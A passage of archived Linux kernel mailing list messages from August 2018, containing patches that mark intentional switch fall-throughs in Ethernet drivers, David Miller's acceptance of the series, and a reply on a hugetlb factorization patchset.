 drivers/net/ethernet/intel/igbvf/netdev.c               | 1 +
 drivers/net/ethernet/mellanox/mlx4/en_rx.c              | 2 ++
 drivers/net/ethernet/mellanox/mlx4/mcg.c                | 2 ++
 drivers/net/ethernet/mellanox/mlx5/core/en/xdp.c        | 2 ++
 drivers/net/ethernet/neterion/vxge/vxge-config.c        | 3 +++
 drivers/net/ethernet/qlogic/netxen/netxen_nic_ethtool.c | 3 ++-
 drivers/net/ethernet/qlogic/qed/qed_dev.c               | 4 ++--
 drivers/net/ethernet/qlogic/qede/qede_fp.c              | 2 ++
 drivers/net/ethernet/qlogic/qlcnic/qlcnic_ethtool.c     | 3 ++-
 drivers/net/ethernet/qlogic/qlge/qlge_mpi.c             | 1 +
 drivers/net/ethernet/samsung/sxgbe/sxgbe_ethtool.c      | 2 ++
 drivers/net/ethernet/sfc/falcon/ethtool.c               | 1 +
 drivers/net/ethernet/ti/cpts.c                          | 1 +
 drivers/net/ethernet/ti/tlan.c                          | 1 +
 33 files changed, 52 insertions(+), 6 deletions(-)

-- 
2.7.4



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH 10/33] net: tulip_core: mark expected switch fall-through
Date: Tue, 7 Aug 2018 18:15:35 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <ca0a727e54d399a9784a5315ca3a14e7c7c02cd1.1533675546.git.gustavo@embeddedor.com>
References: <cover.1533675546.git.gustavo@embeddedor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1533683621 7937 195.159.176.226 (7 Aug 2018 23:13:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 23:13:41 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-parisc@vger.kernel.org
To: "David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org,
        linux-kernel@vger.kernel.org,
        "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 08 01:13:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fnBAW-0001vq-33
	for glk-linux-kernel-4@m.gmane.org; Wed, 08 Aug 2018 01:13:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727289AbeHHBc0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 7 Aug 2018 21:32:26 -0400
Original-Received: from gateway31.websitewelcome.com ([192.185.143.4]:31039 "EHLO
        gateway31.websitewelcome.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1727131AbeHHBcY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 7 Aug 2018 21:32:24 -0400
Original-Received: from cm10.websitewelcome.com (cm10.websitewelcome.com [100.42.49.4])
        by gateway31.websitewelcome.com (Postfix) with ESMTP id 248A72FA5C
        for <linux-kernel@vger.kernel.org>; Tue,  7 Aug 2018 18:15:43 -0500 (CDT)
Original-Received: from gator4166.hostgator.com ([108.167.133.22])
        by cmsmtp with SMTP
        id nBCSfj5qiBcCXnBCVfJ7tI; Tue, 07 Aug 2018 18:15:42 -0500
X-Authority-Reason: nr=8
Original-Received: from [189.250.73.102] (port=48062 helo=embeddedor)
        by gator4166.hostgator.com with esmtpa (Exim 4.91)
        (envelope-from <gustavo@embeddedor.com>)
        id 1fnBCS-001rrg-27; Tue, 07 Aug 2018 18:15:36 -0500
Content-Disposition: inline
In-Reply-To: <cover.1533675546.git.gustavo@embeddedor.com>
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gator4166.hostgator.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - embeddedor.com
X-BWhitelist: no
X-Source-IP: 189.250.73.102
X-Source-L: No
X-Exim-ID: 1fnBCS-001rrg-27
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-Source-Sender: (embeddedor) [189.250.73.102]:48062
X-Source-Auth: gustavo@embeddedor.com
X-Email-Count: 87
X-Source-Cap: Z3V6aWRpbmU7Z3V6aWRpbmU7Z2F0b3I0MTY2Lmhvc3RnYXRvci5jb20=
X-Local-Domain: yes
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2841917 gmane.linux.network:549220 gmane.linux.ports.parisc:28891
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2841917>

In preparation to enabling -Wimplicit-fallthrough, mark switch cases
where we are expecting to fall through.

Addresses-Coverity-ID: 114782 ("Missing break in switch")
Signed-off-by: Gustavo A. R. Silva <gustavo@embeddedor.com>
---
 drivers/net/ethernet/dec/tulip/tulip_core.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/net/ethernet/dec/tulip/tulip_core.c b/drivers/net/ethernet/dec/tulip/tulip_core.c
index 00d02a0..3e3e086 100644
--- a/drivers/net/ethernet/dec/tulip/tulip_core.c
+++ b/drivers/net/ethernet/dec/tulip/tulip_core.c
@@ -923,6 +923,7 @@ static int private_ioctl (struct net_device *dev, struct ifreq *rq, int cmd)
 			data->phy_id = 1;
 		else
 			return -ENODEV;
+		/* Fall through */
 
 	case SIOCGMIIREG:		/* Read MII PHY register. */
 		if (data->phy_id == 32 && (tp->flags & HAS_NWAY)) {
-- 
2.7.4



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Newsgroups: gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 11/33] net: tulip: de4x5: mark expected switch fall-throughs
Date: Tue, 7 Aug 2018 18:16:07 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <dcb7df430a291a7c1f938abdaa8a1d7a7728b256.1533675546.git.gustavo@embeddedor.com>
References: <cover.1533675546.git.gustavo@embeddedor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1533683652 10687 195.159.176.226 (7 Aug 2018 23:14:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 23:14:12 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-parisc@vger.kernel.org
To: "David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org,
        linux-kernel@vger.kernel.org,
        "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Original-X-From: netdev-owner@vger.kernel.org Wed Aug 08 01:14:08 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fnBAz-00021C-BG
	for gl-netdev-2@m.gmane.org; Wed, 08 Aug 2018 01:14:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727104AbeHHBc4 (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Tue, 7 Aug 2018 21:32:56 -0400
Original-Received: from gateway33.websitewelcome.com ([192.185.145.239]:41007 "EHLO
        gateway33.websitewelcome.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1726745AbeHHBcz (ORCPT
        <rfc822;netdev@vger.kernel.org>); Tue, 7 Aug 2018 21:32:55 -0400
Original-Received: from cm15.websitewelcome.com (cm15.websitewelcome.com [100.42.49.9])
        by gateway33.websitewelcome.com (Postfix) with ESMTP id A660036F2F
        for <netdev@vger.kernel.org>; Tue,  7 Aug 2018 18:16:14 -0500 (CDT)
Original-Received: from gator4166.hostgator.com ([108.167.133.22])
        by cmsmtp with SMTP
        id nBCyf79NpbXuJnBD1fWAyz; Tue, 07 Aug 2018 18:16:14 -0500
X-Authority-Reason: nr=8
Original-Received: from [189.250.73.102] (port=48064 helo=embeddedor)
        by gator4166.hostgator.com with esmtpa (Exim 4.91)
        (envelope-from <gustavo@embeddedor.com>)
        id 1fnBCx-001s8Y-LJ; Tue, 07 Aug 2018 18:16:07 -0500
Content-Disposition: inline
In-Reply-To: <cover.1533675546.git.gustavo@embeddedor.com>
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gator4166.hostgator.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - embeddedor.com
X-BWhitelist: no
X-Source-IP: 189.250.73.102
X-Source-L: No
X-Exim-ID: 1fnBCx-001s8Y-LJ
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-Source-Sender: (embeddedor) [189.250.73.102]:48064
X-Source-Auth: gustavo@embeddedor.com
X-Email-Count: 90
X-Source-Cap: Z3V6aWRpbmU7Z3V6aWRpbmU7Z2F0b3I0MTY2Lmhvc3RnYXRvci5jb20=
X-Local-Domain: yes
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:549221 gmane.linux.kernel:2841918 gmane.linux.ports.parisc:28892
Archived-At: <http://permalink.gmane.org/gmane.linux.network/549221>

In preparation to enabling -Wimplicit-fallthrough, mark switch cases
where we are expecting to fall through.

Addresses-Coverity-ID: 114784 ("Missing break in switch")
Addresses-Coverity-ID: 114785 ("Missing break in switch")
Addresses-Coverity-ID: 114786 ("Missing break in switch")
Signed-off-by: Gustavo A. R. Silva <gustavo@embeddedor.com>
---
 drivers/net/ethernet/dec/tulip/de4x5.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index a31b4df..66535d1 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -3204,6 +3204,8 @@ srom_map_media(struct net_device *dev)
       case SROM_10BASETF:
 	if (!lp->params.fdx) return -1;
 	lp->fdx = true;
+	/* fall through */
+
       case SROM_10BASET:
 	if (lp->params.fdx && !lp->fdx) return -1;
 	if ((lp->chipset == DC21140) || ((lp->chipset & ~0x00ff) == DC2114x)) {
@@ -3224,6 +3226,8 @@ srom_map_media(struct net_device *dev)
       case SROM_100BASETF:
         if (!lp->params.fdx) return -1;
 	lp->fdx = true;
+	/* fall through */
+
       case SROM_100BASET:
 	if (lp->params.fdx && !lp->fdx) return -1;
 	lp->media = _100Mb;
@@ -3236,6 +3240,8 @@ srom_map_media(struct net_device *dev)
       case SROM_100BASEFF:
 	if (!lp->params.fdx) return -1;
 	lp->fdx = true;
+	/* fall through */
+
       case SROM_100BASEF:
 	if (lp->params.fdx && !lp->fdx) return -1;
 	lp->media = _100Mb;
-- 
2.7.4



From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.drivers.rdma
Subject: Re: [PATCH 00/33] net: ethernet: Mark expected switch fall-throughs
Date: Tue, 07 Aug 2018 17:59:31 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20180807.175931.200772329178253653.davem@davemloft.net>
References: <cover.1533675546.git.gustavo@embeddedor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533689860 13838 195.159.176.226 (8 Aug 2018 00:57:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 8 Aug 2018 00:57:40 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-net-drivers@solarflare.com, ecree@solarflare.com,
        bkenward@solarflare.com, jes@trained-monkey.org,
        linux-acenic@sunsite.dk, michael.chan@broadcom.com,
        nicolas.ferre@microchip.com, derek.chickles@caviumnetworks.com,
        satananda.burla@caviumnetworks.com,
        felix.manlunas@caviumnetworks.com,
        raghu.vatsavayi@caviumnetworks.com, ganeshgr@chelsio.com,
        santosh@chelsio.com, sgoutham@cavium.com, rric@kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        sathya.perla@broadcom.com, ajit.khaparde@broadcom.com,
        sriharsha.basavapatna@broadcom.com, somnath.kotur@broadcom.com,
        yisen.zhuang@huawei.com, salil.mehta@huawei.com,
        jeffrey.t.kirsher@intel.com, intel-wired-lan@lists.osuosl.org,
        tariqt@mellanox.com, l
To: gustavo@embeddedor.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 08 02:57:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fnCn4-0003PJ-IY
	for glk-linux-kernel-4@m.gmane.org; Wed, 08 Aug 2018 02:57:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726927AbeHHDQl (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 7 Aug 2018 23:16:41 -0400
Original-Received: from shards.monkeyblade.net ([23.128.96.9]:54268 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726158AbeHHDQk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 7 Aug 2018 23:16:40 -0400
Original-Received: from localhost (c-73-37-107-99.hsd1.or.comcast.net [73.37.107.99])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 21DEC13F960B2;
        Tue,  7 Aug 2018 17:59:36 -0700 (PDT)
In-Reply-To: <cover.1533675546.git.gustavo@embeddedor.com>
X-Mailer: Mew version 6.7 on Emacs 26 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Tue, 07 Aug 2018 17:59:37 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2841981 gmane.linux.network:549250 gmane.linux.ports.arm.kernel:668201 gmane.linux.ports.parisc:28893 gmane.linux.drivers.rdma:64028
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2841981>

From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Date: Tue, 7 Aug 2018 18:09:00 -0500

> In preparation to enabling -Wimplicit-fallthrough, this patchset aims
> to add some annotations in order to mark switch cases where we are
> expecting to fall through.

Ok, I went through all of these and they look good.

If any are not correct we can revert/fix.

Series applied, thanks.


From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Wed, 8 Aug 2018 05:36:07 +0000
Lines: 83
Approved: news@gmane.org
Message-ID: <e144d038-330a-8b23-c058-94764430ff31@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
 <20180807095402.GA12200@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1533706469 10842 195.159.176.226 (8 Aug 2018 05:34:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 8 Aug 2018 05:34:29 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 08 07:34:22 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fnH70-0002ev-7m
	for glk-linux-kernel-4@m.gmane.org; Wed, 08 Aug 2018 07:34:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726846AbeHHHyR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 8 Aug 2018 03:54:17 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:58017 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726538AbeHHHyQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 8 Aug 2018 03:54:16 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 61AE060003;
        Wed,  8 Aug 2018 05:36:08 +0000 (UTC)
In-Reply-To: <20180807095402.GA12200@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2842077 gmane.linux.kernel.mm:201434 gmane.linux.ports.arm.kernel:668216 gmane.linux.ports.ia64:29059 gmane.linux.ports.mips.general:65957 gmane.linux.ports.parisc:28894 gmane.linux.ports.ppc64.devel:161044 gmane.linux.ports.sh.devel:57347 gmane.linux.ports.sparc:28199 gmane.linux.kernel.cross-arch:45618
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2842077>

Thanks for your time,

Alex

Le 07/08/2018 à 09:54, Ingo Molnar a écrit :
> * Alexandre Ghiti <alex@ghiti.fr> wrote:
>
>> [CC linux-mm for inclusion in -mm tree]
>>                                                                                   
>> In order to reduce copy/paste of functions across architectures and then
>> make riscv hugetlb port (and future ports) simpler and smaller, this
>> patchset intends to factorize the numerous hugetlb primitives that are
>> defined across all the architectures.
>>                                                                                   
>> Except for prepare_hugepage_range, this patchset moves the versions that
>> are just pass-through to standard pte primitives into
>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>                                                                                   
>> s390 architecture has not been tackled in this serie since it does not
>> use asm-generic/hugetlb.h at all.
>>                                                                                   
>> This patchset has been compiled on all addressed architectures with
>> success (except for parisc, but the problem does not come from this
>> series).
>>                                                                                   
>> v6:
>>    - Remove nohash/32 and book3s/32 powerpc specific implementations in
>>      order to use the generic ones.
>>    - Add all the Reviewed-by, Acked-by and Tested-by in the commits,
>>      thanks to everyone.
>>                                                                                   
>> v5:
>>    As suggested by Mike Kravetz, no need to move the #include
>>    <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at
>>    the top of the file.
>>                                                                                   
>> v4:
>>    Fix powerpc build error due to misplacing of #include
>>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>    pointed by Christophe Leroy.
>>                                                                                   
>> v1, v2, v3:
>>    Same version, just problems with email provider and misuse of
>>    --batch-size option of git send-email
>>
>> Alexandre Ghiti (11):
>>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>    hugetlb: Introduce generic version of set_huge_pte_at
>>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>>    hugetlb: Introduce generic version of huge_pte_none
>>    hugetlb: Introduce generic version of huge_pte_wrprotect
>>    hugetlb: Introduce generic version of prepare_hugepage_range
>>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>    hugetlb: Introduce generic version of huge_ptep_get
>>
>>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>   arch/arm/include/asm/hugetlb.h               | 30 ----------
>>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>   arch/powerpc/include/asm/book3s/32/pgtable.h |  6 --
>>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>   arch/powerpc/include/asm/nohash/32/pgtable.h |  6 --
>>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>   arch/x86/include/asm/hugetlb.h               | 69 ----------------------
>>   include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>>   15 files changed, 135 insertions(+), 394 deletions(-)
> The x86 bits look good to me (assuming it's all tested on all relevant architectures, etc.)
>
> Acked-by: Ingo Molnar <mingo@kernel.org>
>
> Thanks,
>
> 	Ingo


From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Newsgroups: gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.drivers.rdma
Subject: Re: [PATCH 00/33] net: ethernet: Mark expected switch fall-throughs
Date: Wed, 8 Aug 2018 11:26:05 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <620f18c0-7329-f808-43bc-0f51def3b92a@embeddedor.com>
References: <cover.1533675546.git.gustavo@embeddedor.com>
 <20180807.175931.200772329178253653.davem@davemloft.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533745559 21068 195.159.176.226 (8 Aug 2018 16:25:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 8 Aug 2018 16:25:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-net-drivers@solarflare.com, ecree@solarflare.com,
        bkenward@solarflare.com, jes@trained-monkey.org,
        linux-acenic@sunsite.dk, michael.chan@broadcom.com,
        nicolas.ferre@microchip.com, derek.chickles@caviumnetworks.com,
        satananda.burla@caviumnetworks.com,
        felix.manlunas@caviumnetworks.com,
        raghu.vatsavayi@caviumnetworks.com, ganeshgr@chelsio.com,
        santosh@chelsio.com, sgoutham@cavium.com, rric@kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        sathya.perla@broadcom.com, ajit.khaparde@broadcom.com,
        sriharsha.basavapatna@broadcom.com, somnath.kotur@broadcom.com,
        yisen.zhuang@huawei.com, salil.mehta@huawei.com,
        jeffrey.t.kirsher@intel.com, intel-wired-lan@lists.osuosl.org,
        tariqt@mellanox.com, l
To: David Miller <davem@davemloft.net>
Original-X-From: netdev-owner@vger.kernel.org Wed Aug 08 18:25:51 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fnRHS-0005Fg-7d
	for gl-netdev-2@m.gmane.org; Wed, 08 Aug 2018 18:25:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729583AbeHHSsY (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Wed, 8 Aug 2018 14:48:24 -0400
Original-Received: from gateway33.websitewelcome.com ([192.185.146.68]:14376 "EHLO
        gateway33.websitewelcome.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1729333AbeHHSsY (ORCPT
        <rfc822;netdev@vger.kernel.org>); Wed, 8 Aug 2018 14:48:24 -0400
Original-Received: from cm15.websitewelcome.com (cm15.websitewelcome.com [100.42.49.9])
        by gateway33.websitewelcome.com (Postfix) with ESMTP id 2E7CA20EDE4
        for <netdev@vger.kernel.org>; Wed,  8 Aug 2018 11:27:57 -0500 (CDT)
Original-Received: from gator4166.hostgator.com ([108.167.133.22])
        by cmsmtp with SMTP
        id nRJ5f5lqCbXuJnRJKfUgcE; Wed, 08 Aug 2018 11:27:56 -0500
X-Authority-Reason: nr=8
Original-Received: from [189.250.54.46] (port=36784 helo=[192.168.1.71])
        by gator4166.hostgator.com with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128)
        (Exim 4.91)
        (envelope-from <gustavo@embeddedor.com>)
        id 1fnRHr-002d98-Tu; Wed, 08 Aug 2018 11:26:16 -0500
Openpgp: preference=signencrypt
Autocrypt: addr=gustavo@embeddedor.com; keydata=
 xsFNBFssHAwBEADIy3ZoPq3z5UpsUknd2v+IQud4TMJnJLTeXgTf4biSDSrXn73JQgsISBwG
 2Pm4wnOyEgYUyJd5tRWcIbsURAgei918mck3tugT7AQiTUN3/5aAzqe/4ApDUC+uWNkpNnSV
 tjOx1hBpla0ifywy4bvFobwSh5/I3qohxDx+c1obd8Bp/B/iaOtnq0inli/8rlvKO9hp6Z4e
 DXL3PlD0QsLSc27AkwzLEc/D3ZaqBq7ItvT9Pyg0z3Q+2dtLF00f9+663HVC2EUgP25J3xDd
 496SIeYDTkEgbJ7WYR0HYm9uirSET3lDqOVh1xPqoy+U9zTtuA9NQHVGk+hPcoazSqEtLGBk
 YE2mm2wzX5q2uoyptseSNceJ+HE9L+z1KlWW63HhddgtRGhbP8pj42bKaUSrrfDUsicfeJf6
 m1iJRu0SXYVlMruGUB1PvZQ3O7TsVfAGCv85pFipdgk8KQnlRFkYhUjLft0u7CL1rDGZWDDr
 NaNj54q2CX9zuSxBn9XDXvGKyzKEZ4NY1Jfw+TAMPCp4buawuOsjONi2X0DfivFY+ZsjAIcx
 qQMglPtKk/wBs7q2lvJ+pHpgvLhLZyGqzAvKM1sVtRJ5j+ARKA0w4pYs5a5ufqcfT7dN6TBk
 LXZeD9xlVic93Ju08JSUx2ozlcfxq+BVNyA+dtv7elXUZ2DrYwARAQABzSxHdXN0YXZvIEEu
 IFIuIFNpbHZhIDxndXN0YXZvQGVtYmVkZGVkb3IuY29tPsLBfQQTAQgAJwUCWywcDAIbIwUJ
 CWYBgAULCQgHAgYVCAkKCwIEFgIDAQIeAQIX 
In-Reply-To: <20180807.175931.200772329178253653.davem@davemloft.net>
Content-Language: en-GB
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
